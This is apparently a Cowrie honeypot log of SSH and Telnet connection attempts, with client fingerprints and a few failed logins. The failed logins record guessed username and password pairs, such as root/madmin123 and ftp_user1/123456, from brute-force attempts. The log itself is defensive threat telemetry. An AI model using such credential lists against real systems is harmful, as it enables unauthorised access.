{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":38404,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad907ce687f5","protocol":"ssh","message":"New connection: 152.53.22.186:38404 (159.203.135.109:22) [session: ad907ce687f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:40.237401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:40.242532Z","src_ip":"152.53.22.186","session":"ad907ce687f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:40.328291Z","src_ip":"152.53.22.186","session":"ad907ce687f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:40.701984Z","src_ip":"152.53.22.186","session":"ad907ce687f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:41.791871Z","src_ip":"152.53.22.186","session":"ad907ce687f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.89771103858948,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:50.600047Z","src_ip":"212.55.149.117","session":"e9255df54b31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":43088,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebe8aa42921e","protocol":"ssh","message":"New connection: 57.128.223.80:43088 (10.17.0.5:22) [session: ebe8aa42921e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:52.759942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:52.764487Z","src_ip":"57.128.223.80","session":"ebe8aa42921e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:52.884960Z","src_ip":"57.128.223.80","session":"ebe8aa42921e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user1","password":"123456","message":"login attempt [ftp_user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:53.338258Z","src_ip":"57.128.223.80","session":"ebe8aa42921e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:12:54.460714Z","src_ip":"57.128.223.80","session":"ebe8aa42921e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57514,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e4809e3a4ed","protocol":"ssh","message":"New connection: 194.59.206.2:57514 (10.17.0.5:22) [session: 2e4809e3a4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:23.575513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:23.581056Z","src_ip":"194.59.206.2","session":"2e4809e3a4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:23.668525Z","src_ip":"194.59.206.2","session":"2e4809e3a4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:23.760651Z","src_ip":"194.59.206.2","session":"2e4809e3a4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":33646,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b9657c05604","protocol":"ssh","message":"New connection: 152.53.22.186:33646 (159.203.135.109:22) [session: 6b9657c05604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:28.960503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:28.965983Z","src_ip":"152.53.22.186","session":"6b9657c05604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:29.051985Z","src_ip":"152.53.22.186","session":"6b9657c05604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:29.425943Z","src_ip":"152.53.22.186","session":"6b9657c05604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:30.516346Z","src_ip":"152.53.22.186","session":"6b9657c05604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57972,"dst_ip":"10.17.0.5","dst_port":22,"session":"375f1a39511a","protocol":"ssh","message":"New connection: 103.15.226.202:57972 (10.17.0.5:22) [session: 375f1a39511a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:57.706443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:57.711172Z","src_ip":"103.15.226.202","session":"375f1a39511a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:57.954274Z","src_ip":"103.15.226.202","session":"375f1a39511a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q68R8AAL4z2wsx","message":"login attempt [root/Q68R8AAL4z2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:58.685586Z","src_ip":"103.15.226.202","session":"375f1a39511a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:13:59.932715Z","src_ip":"103.15.226.202","session":"375f1a39511a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":55390,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1ada14eb8e3","protocol":"ssh","message":"New connection: 152.53.22.186:55390 (159.203.135.109:22) [session: d1ada14eb8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:14:17.830696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:14:17.838089Z","src_ip":"152.53.22.186","session":"d1ada14eb8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:14:17.924202Z","src_ip":"152.53.22.186","session":"d1ada14eb8e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"madmin123","message":"login attempt [root/madmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:14:18.297972Z","src_ip":"152.53.22.186","session":"d1ada14eb8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:14:19.387248Z","src_ip":"152.53.22.186","session":"d1ada14eb8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.117.4.135","src_port":44366,"dst_ip":"159.203.135.109","dst_port":23,"session":"a710191dfc82","protocol":"telnet","message":"New connection: 97.117.4.135:44366 (159.203.135.109:23) [session: a710191dfc82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:03.078416Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":42608,"dst_ip":"159.203.135.109","dst_port":22,"session":"75c4321ae8b5","protocol":"ssh","message":"New connection: 152.53.22.186:42608 (159.203.135.109:22) [session: 75c4321ae8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:03.787430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:03.799180Z","src_ip":"152.53.22.186","session":"75c4321ae8b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:03.886018Z","src_ip":"152.53.22.186","session":"75c4321ae8b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"111222","message":"login attempt [test/111222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:04.276795Z","src_ip":"152.53.22.186","session":"75c4321ae8b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:05.370766Z","src_ip":"152.53.22.186","session":"75c4321ae8b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36442,"dst_ip":"159.203.135.109","dst_port":22,"session":"cafcc316deab","protocol":"ssh","message":"New connection: 2.57.122.208:36442 (159.203.135.109:22) [session: cafcc316deab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:11.730190Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:11.839076Z","src_ip":"2.57.122.208","session":"cafcc316deab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.76595950126648,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:16.844241Z","src_ip":"97.117.4.135","session":"a710191dfc82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":45802,"dst_ip":"10.17.0.5","dst_port":23,"session":"189ef29496cd","protocol":"telnet","message":"New connection: 212.55.149.117:45802 (10.17.0.5:23) [session: 189ef29496cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:26.664305Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":41528,"dst_ip":"159.203.135.109","dst_port":22,"session":"9880417812f9","protocol":"ssh","message":"New connection: 152.53.22.186:41528 (159.203.135.109:22) [session: 9880417812f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:53.280176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:53.285403Z","src_ip":"152.53.22.186","session":"9880417812f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:15:53.371355Z","src_ip":"152.53.22.186","session":"9880417812f9","protocol":"ssh"}
